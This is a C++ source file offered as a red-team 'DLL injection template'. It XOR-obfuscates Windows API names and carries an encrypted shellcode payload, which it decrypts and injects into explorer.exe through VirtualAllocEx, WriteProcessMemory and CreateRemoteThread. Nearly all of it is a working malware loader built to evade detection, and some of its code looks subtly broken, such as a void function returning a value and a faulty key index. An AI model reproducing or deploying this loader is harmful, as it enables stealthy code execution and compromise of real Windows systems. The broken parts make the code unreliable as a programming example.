DLL injection template in C++ with XOR encription for Red Team Operations

xorplant.cpp

// Author: @dabumana
// Copyright BSD
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
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// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
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// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#include <windows.h>

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

#include "resources.h"

unsigned char sVirtualAlloc[] = { 0x38, 0x6, 0x1d, 0x1a, 0xd, 0xe, 0x3, 0x2f, 0x2, 0x3, 0x0, 0xd };
unsigned char sVirtualAllocEx[] = { 0x38, 0x6, 0x1d, 0x1a, 0xd, 0xe, 0x3, 0x2f, 0x2, 0x3, 0x0, 0xd, 0x3d, 0x17 };
unsigned char sWriteProcessMemory[] = { 0x39, 0x1d, 0x6, 0x1a, 0x1d, 0x3f, 0x1d, 0x1, 0xd, 0xa, 0x1c, 0x1d, 0x35, 0xa, 0x2, 0x1, 0x1c, 0x16 };
unsigned char sCreateRemoteThread[] = { 0x2d, 0x1d, 0xa, 0xf, 0xc, 0xa, 0x3d, 0xb, 0x3, 0x0, 0x1b, 0xb, 0x2c, 0x7, 0x1d, 0xb, 0xf, 0xb };

unsigned char payload[] = { 0x92, 0x27, 0xec, 0x8a, 0x88, 0x87, 0xaf, 0x6e, 0x6e, 0x6f, 0x2e, 0x3f, 0x39, 0x3f, 0x3d, 0x3f, 0x38, 0x27, 0x5e, 0xbc, 0x1d, 0x27, 0xe4, 0x3c, 0xe, 0x27, 0xe4, 0x3c, 0x60, 0x27, 0xe4, 0x3c, 0x4e, 0x27, 0xe4, 0x1c, 0x28, 0x27, 0x60, 0xd9, 0x24, 0x25, 0x22, 0x5f, 0xb1, 0x27, 0x5e, 0xae, 0xc2, 0x53, 0xe, 0x12, 0x7a, 0x43, 0x4f, 0x2f, 0xaf, 0xa6, 0x62, 0x2f, 0x79, 0xae, 0x8d, 0x83, 0x3c, 0x2e, 0x3e, 0x26, 0xf3, 0x3d, 0x4f, 0xe5, 0x2c, 0x53, 0x27, 0x6f, 0xa8, 0xe4, 0xef, 0xe6, 0x6e, 0x6f, 0x6f, 0x26, 0xfd, 0xaf, 0x1b, 0x9, 0x26, 0x6e, 0xbf, 0x3e, 0xf3, 0x27, 0x77, 0x2a, 0xe5, 0x2f, 0x4f, 0x27, 0x79, 0xbf, 0x8c, 0x38, 0x26, 0x90, 0xa6, 0x2f, 0xf3, 0x5b, 0xe7, 0x26, 0x6f, 0xb9, 0x22, 0x5f, 0xb1, 0x27, 0x5e, 0xae, 0xc2, 0x2e, 0xae, 0xa7, 0x75, 0x2e, 0x6e, 0xaf, 0x56, 0x8f, 0x1a, 0x9f, 0x34, 0x6c, 0x23, 0x4a, 0x66, 0x2a, 0x56, 0xbf, 0xd, 0xb7, 0x37, 0x2a, 0xe5, 0x2f, 0x4b, 0x27, 0x79, 0xbf, 0x9, 0x2f, 0xe5, 0x63, 0x27, 0x2a, 0xf3, 0x2f, 0x73, 0x27, 0x6f, 0xbf, 0x2e, 0xe5, 0x7c, 0xe7, 0x27, 0x6f, 0xbe, 0x2e, 0x37, 0x2f, 0x20, 0x31, 0x36, 0x34, 0x2f, 0x37, 0x2e, 0x37, 0x39, 0x35, 0x27, 0xed, 0x82, 0x4f, 0x2e, 0x3c, 0x87, 0x8f, 0x37, 0x2f, 0x37, 0x35, 0x27, 0xe5, 0x6a, 0x86, 0x38, 0x91, 0x91, 0x90, 0x32, 0x26, 0xc2, 0x6e, 0x6f, 0x6e, 0x6e, 0x6f, 0x6f, 0x6e, 0x78, 0x27, 0xe2, 0xe3, 0x6f, 0x6e, 0x6f, 0x6e, 0x39, 0xd5, 0x5e, 0xe5, 0x1, 0xe8, 0x90, 0xbb, 0xc3, 0x9f, 0xda, 0xcc, 0x38, 0x2e, 0xd5, 0xc8, 0xed, 0xd2, 0xf2, 0x91, 0xbb, 0x27, 0xec, 0xaa, 0x50, 0x53, 0x69, 0x12, 0x64, 0xef, 0x94, 0x8e, 0xd, 0x6a, 0xd4, 0x29, 0x7d, 0x1d, 0x0, 0x4, 0x78, 0x36, 0x2e, 0xe7, 0xb4, 0x90, 0xba, 0xd, 0x19, 0x3, 0xc, 0x40, 0xb, 0x17, 0xa, 0x6e };
unsigned int payload_len = sizeof(payload);

char key [] = "noonxoon";

LPVOID (WINAPI * pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD  flAllocationType,
	DWORD  flProtect
);

LPVOID (WINAPI * pVirtualAllocEx) (
	HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

BOOL (WINAPI * pWriteProcessMemory)(
	HANDLE  hProcess,
    LPVOID  lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T  nSize,
    SIZE_T  *lpNumberOfBytesWritten
);

HANDLE (WINAPI * pCreateRemoteThread)(
	HANDLE                 hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T                 dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID                 lpParameter,
    DWORD                  dwCreationFlags,
    LPDWORD                lpThreadId
);

void DecryptXOR (char * pData, size_t dataLen, char * pKey, size_t keyLen ){
	int j;
	j = 0;
	
	for (int i = 0; i < dataLen; i++) {
		if (j == keyLen - 1) j = 0;	
		pData[i] = pData[i] ^ pKey[j];
		j++;
	}

	return 0;
}

int Initialize(){
	DecryptXOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx),(char *) key, sizeof(key));
	DecryptXOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory),(char *) key, sizeof(key));
	DecryptXOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread),(char *) key, sizeof(key));
	DecryptXOR((char *) sVirtualAlloc, sizeof(sVirtualAlloc),(char *) key, sizeof(key));
	
	pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"),sVirtualAlloc);
	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"),sVirtualAllocEx);
	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"),sWriteProcessMemory);
	pCreateRemoteThread = GetProcAddress(GetModuleHandle("kernel32.dll"),sCreateRemoteThread);

	assert(pVirtualAlloc);
	assert(pVirtualAllocEx);
	assert(pWriteProcessMemory);
	assert(pCreateRemoteThread);

	if (*pVirtualAlloc || 
	    *pVirtualAllocEx || 
		*pWriteProcessMemory || 
		*pCreateRemoteThread){
			printf("KERNEL LINKED\n");
			return 0;
		}

	return -1;
}

int FindTarget(const char * procname) {
	HANDLE hProc;
	PROCESSENTRY32 pe32;
	int PID = 0;
	
	hProc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	if (INVALID_HANDLE_VALUE == hProc) return 0;
		
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	if (!Process32Next(hProc, &pe32)) {
		CloseHandle(hProc);
		return 0;
	}
	
	while (Process32Next(hProc, &pe32)) {
		if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
			PID = pe32.th32ProcessID;
			break;
		}
	}
	CloseHandle(hProc);
	return PID;
}

int InjectionInProc(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
	LPVOID pRemote = NULL;
	HANDLE hTread = NULL;
	
	pRemote = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	pWriteProcessMemory(hProc, pRemote, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
	
	hTread = pCreateRemoteThread(hProc, NULL, 0, pRemote, NULL, 0, NULL);
	
	if(hTread != NULL) {
		WaitForSingleObject(hTread, 500);
		CloseHandle(hTread);
		printf("THREAD OPENED\n");
		return 0;
	}
	return -1;
}

int main(void) {
	void * exec_mem;
	
	int PID = 0;
	HANDLE hProc = NULL;

	BOOL rv;
	DWORD oldprotect = 0;
	
	HRSRC res;
	HGLOBAL resHandle;

	//unsigned char * payload;
	//unsigned int payload_len;

	// FreeConsole();
	
	Initialize();

	//res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	//resHandle = LoadResource(NULL, res);

	//assert(res);
	//assert(resHandle);

	//payload = (char *) LockResource(resHandle);
	//payload_len = SizeofResource(NULL, res);

	assert(payload);
	assert(payload_len);

	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	RtlMoveMemory(exec_mem, payload, payload_len);

	DecryptXOR((char *) exec_mem, payload_len, key, sizeof(key));

	PID = FindTarget("explorer.exe");
	if(PID) {
		printf("DROP 0x%-016p\n", (void *)payload);
		printf("DROP LEN 0x%-016p\n", (void *)payload_len);
		printf("DROP BUF 0x%-016p\n", (void *)exec_mem);
		printf("KEY 0x%-016p\n", (void *)key);
		printf("P I D - %d \n", PID);

		hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) PID);
	
		if(hProc != NULL) {
			InjectionInProc(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}
	
	return 0;
}